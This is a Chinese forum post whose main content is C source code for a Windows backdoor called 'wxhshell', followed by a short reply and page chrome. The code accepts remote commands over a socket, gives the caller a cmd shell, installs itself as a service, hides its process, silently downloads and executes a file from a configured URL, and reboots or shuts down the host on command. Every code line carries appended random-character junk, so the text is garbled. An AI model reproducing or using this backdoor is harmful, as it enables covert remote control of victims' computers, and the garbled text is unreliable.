  if(strstr(cmd,"http://")) { MW@b ;=(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I[IQFka}  
  if(DownloadFile(cmd,wsh)) eV+wnE?SB5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); He;%6OG{  
  else ddhTr i'f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'bMIdV  
  } B&j+fi  
  else { (Sp~+#XnF  
LbI])M  
    switch(cmd[0]) { 1Nu`@)D0  
  1c~#]6[  
  // 帮助 6T_c#G5  
  case '?': { nW*Oo|p~=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zb)SlR  
    break; ]J]p:Y>NL  
  } w~?eX/;  
  // 安装 S$/3Kq  
  case 'i': { t^;Fq{>  
    if(Install()) L<]P K4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^TK)_wx  
    else ZWEzL$VWi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !qve1H4d2  
    break; {0 {$.L  
    } bvTkS EN  
  // 卸载 w2AWdO6  
  case 'r': { +c_CYkHJ/  
    if(Uninstall()) xWV7#Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?C\9lLX  
    else XL9lB#v^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JwVv+9hh  
    break; 1_]l|`Po  
    } "ET"dMxU  
  // 显示 wxhshell 所在路径 X[6 z  
  case 'p': { 'J$NW  
    char svExeFile[MAX_PATH]; 1!#ZEI C  
    strcpy(svExeFile,"\n\r"); xbA2R4|  
      strcat(svExeFile,ExeFile); /% 1lJD  
        send(wsh,svExeFile,strlen(svExeFile),0); 1t'\!  
    break; Jq)k?WS  
    } >?<d}9X  
  // 重启 i[J',  
  case 'b': { R5zV= N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U5=J;[w}N  
    if(Boot(REBOOT)) EZV$1pa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H\vO0 <X  
    else { AQZ\Kcr  
    closesocket(wsh); Gx)D~7lz  
    ExitThread(0); MvFXVCT#  
    } i|Wn*~yFOO  
    break; K.~U%v}  
    } ) |a5Qxz  
  // 关机 ~Ji A  
  case 'd': { I'wAgf6W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X)+N>8o?N  
    if(Boot(SHUTDOWN)) ^xrR3m*d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-A 7%"  
    else { 1;V5b+b  
    closesocket(wsh); &$[{L)D  
    ExitThread(0); P@#6.Bb#V  
    } &\r%&IX/  
    break; $? Rod;  
    } q[lqEc  
  // 获取shell pV8,b   
  case 's': { sEa:p: !  
    CmdShell(wsh); T}*'9TB  
    closesocket(wsh); 0a5P@;"a  
    ExitThread(0); '`u1,h  
    break; kcb'`<B  
  } \N)FUYoHg  
  // 退出 =k z;CS+  
  case 'x': { Df9}YI ;?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "7DPsPs  
    CloseIt(wsh); "O`;zC  
    break; c=gUY~Rl  
    } dGg+[?  
  // 离开 gqhW.e}]  
  case 'q': { b8Qm4b?:4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dcf`+?3  
    closesocket(wsh); cD\Qt9EI  
    WSACleanup(); BI s!  
    exit(1);  T-\,r  
    break; >cp9{+#f  
        } E$T#o{pai  
  } ^iTA4 0K  
  } 5^k#fl2  
yQ}~ aA#h  
  // 提示信息 VXa]L4jJ9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UpITx]y?"m  
} z(ajR*\#  
  } sM-*[Q=_  
Z6=!}a%  
  return; _C4^J  
} V6L_aee}CK  
>dM'UpN@  
// shell模块句柄 ps]6,@uyB  
int CmdShell(SOCKET sock) 1li`+~L F  
{ >iCMjT]4  
STARTUPINFO si; H Ow hl  
ZeroMemory(&si,sizeof(si)); % /s1ma6q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Nz\3]-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?z6C8T~+  
PROCESS_INFORMATION ProcessInfo; 0MOAd!N  
char cmdline[]="cmd"; B}Qo8i7 z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "n\!y~:  
  return 0; myo/}58Nv  
} #G,e]{gs  
MLDuo|?  
// 自身启动模式 D"hiEz  
int StartFromService(void) ck}y-,>,[O  
{ b9U2afd  
typedef struct ql4T@r3l}3  
{ c*h5lM'n6  
  DWORD ExitStatus; ,kP{3.#Q  
  DWORD PebBaseAddress; ^\!^#rO  
  DWORD AffinityMask; _k}b  
  DWORD BasePriority; ("aYjK k  
  ULONG UniqueProcessId; * n[6H  
  ULONG InheritedFromUniqueProcessId; z/TRqD  
}   PROCESS_BASIC_INFORMATION; emHi= [!i  
HG^8&uh]  
PROCNTQSIP NtQueryInformationProcess; 83dOSS2  
P k,^q8;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FUH1Z+9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^b%AwzHH}  
o%dtf5}(,  
  HANDLE             hProcess; XH. _Z  
  PROCESS_BASIC_INFORMATION pbi; HqbTJ!a  
Q=dR[t>^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \h yTcFb  
  if(NULL == hInst ) return 0; E>ev/6ox  
* T-XslI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &O'yhAP] j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7fVVU+y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n;MoMGnPh,  
$yt|nO  
  if (!NtQueryInformationProcess) return 0; _x lgsa  
-uh/W=Q1R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $q+7 ,,"  
  if(!hProcess) return 0; ^yX W.s  
|k^X!C0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ug9o/I@}C  
vEb~QX0~  
  CloseHandle(hProcess); o(a*Fk$  
I5e!vCG)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :s4CWE d  
if(hProcess==NULL) return 0; TEYbB=.  
> 4^U=T#  
HMODULE hMod; s^AYPmR6  
char procName[255]; w0.#/6  
unsigned long cbNeeded; @P8q=j}l9  
~"LOw_BRh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ($3QjH_@  
)Ev [o#y  
  CloseHandle(hProcess); gU 8'7H2  
5tf/VT   
if(strstr(procName,"services")) return 1; // 以服务启动 SY)o<MD  
";GLX%C!{@  
  return 0; // 注册表启动 ld3,)ZY  
} *d%m.:)N  
v"s}7trWV  
// 主模块 s*S@} l  
int StartWxhshell(LPSTR lpCmdLine) F'Wef11Yz  
{ {}.c.W+  
  SOCKET wsl; Z{e5 OJ  
BOOL val=TRUE; 'SuYNA)  
  int port=0; 1sgoT f%  
  struct sockaddr_in door; ,C CIg9Pt  
M#:Mwa$  
  if(wscfg.ws_autoins) Install(); Sd{>(YWx~  
SQEXC*08  
port=atoi(lpCmdLine); `a<G7  
9m#`56G`  
if(port<=0) port=wscfg.ws_port; yJr'\(  
SX;FBO(p  
  WSADATA data; r^]0LJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v!W,h2:J  
;ymUMQ%;/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y<5s)OehG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uD+;5S]us  
  door.sin_family = AF_INET; V57^0^Zp`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 643 O(0a  
  door.sin_port = htons(port); Qz $1_vO  
QK;A>]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6-<r@{m$  
closesocket(wsl); $ccI(J`zux  
return 1; V{(ve#y7`{  
} Ao0F?2|  
T,;6q!s=  
  if(listen(wsl,2) == INVALID_SOCKET) { inp=-  
closesocket(wsl); ;8U NM  
return 1; `f b}cJUa  
} s'i1!GNF B  
  Wxhshell(wsl); thkL<  
  WSACleanup(); or(Z-8a_  
Q~`]0R159e  
return 0; (}}BZ S&.  
Fn 6>n04v  
} G66vzwO   
398%16}  
// 以NT服务方式启动 R|Ykez!D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K+n6.BzW  
{ lPx4I  
DWORD   status = 0; TlM ]d;9G  
  DWORD   specificError = 0xfffffff; u YJ6 "j  
\+ K ^G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g{dyDN$5|w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <~f/T]E,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2<<,aL*  
  serviceStatus.dwWin32ExitCode     = 0; YsLEbue   
  serviceStatus.dwServiceSpecificExitCode = 0; #K  ]k  
  serviceStatus.dwCheckPoint       = 0; / EWF0XV!  
  serviceStatus.dwWaitHint       = 0;  8sE@?,  
1!,lI?j,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4,FuQ}  
  if (hServiceStatusHandle==0) return; qA&N6`  
wxF9lZz  
status = GetLastError(); x"*u98&3  
  if (status!=NO_ERROR) z%]~^k8  
{ ZSHc@r*>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 17J|g.]m-&  
    serviceStatus.dwCheckPoint       = 0; o^gqpQv  
    serviceStatus.dwWaitHint       = 0; aQkgkV;~  
    serviceStatus.dwWin32ExitCode     = status; CkIICx  
    serviceStatus.dwServiceSpecificExitCode = specificError; KeY)%{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nqy',N  
    return; nz+DPk["  
  } hO\_RhsRy?  
(5VP*67  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;clF\K>  
  serviceStatus.dwCheckPoint       = 0; YpXUYNy  
  serviceStatus.dwWaitHint       = 0; w0VJt<e*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gv3a<Knn4  
} ~[l2"@  
G^oBu^bq~  
// 处理NT服务事件,比如:启动、停止 Xv6z>z.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) = R; 0Ed&b  
{ 8!E$0^)c|  
switch(fdwControl) 8%2*RKj  
{ /1t(e._  
case SERVICE_CONTROL_STOP: i3N _wv{  
  serviceStatus.dwWin32ExitCode = 0; rAk*~OK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' ^n2]<  
  serviceStatus.dwCheckPoint   = 0; ^uC1\!Q1  
  serviceStatus.dwWaitHint     = 0; ZA+$ZU^  
  { J?u",a]|H"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <#LH L  
  } 5"k _Ms7R,  
  return; vY6eg IO  
case SERVICE_CONTROL_PAUSE: ;?bRRW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *p p1U>,  
  break; eQJLyeR+  
case SERVICE_CONTROL_CONTINUE: R7( + ^%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lB.P   
  break; 8K7zh.E  
case SERVICE_CONTROL_INTERROGATE: $]!uX&  
  break; }[$C=|>  
}; 5c`DkWne%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t k2B\}6  
} 2r<UYB  
DSD#',  
// 标准应用程序主函数 ~1i,R1_\Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _~fO8_vr  
{ 6D6=5!l  
0X~Dxs   
// 获取操作系统版本 ':kBHCR7  
OsIsNt=GetOsVer(); q^>$YY>F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |s[m;Qm[ku  
kfM}j  
  // 从命令行安装 n-}.Yc  
  if(strpbrk(lpCmdLine,"iI")) Install(); a|  
{HlUV33O  
  // 下载执行文件 )k- 7mwkZ  
if(wscfg.ws_downexe) { VNx}ADXu]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e*:[#LJ]C  
  WinExec(wscfg.ws_filenam,SW_HIDE); a:7"F{D91  
} ,`B*rCOa  
')}$v+9h  
if(!OsIsNt) { 0 A/GWSmF  
// 如果时win9x,隐藏进程并且设置为注册表启动  >pT92VN  
HideProc(); ` L6H2:pf  
StartWxhshell(lpCmdLine); !634 8nU:  
} v93+<@Z  
else -|:7<$2#I  
  if(StartFromService()) <~<I K=n  
  // 以服务方式启动 aG?'F`UQ  
  StartServiceCtrlDispatcher(DispatchTable); 0&$e:O'v  
else &7XB $  
  // 普通方式启动 rM/*_0[`d  
  StartWxhshell(lpCmdLine); KSMe#Qnw  
!nU  
return 0; `3*>tq  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八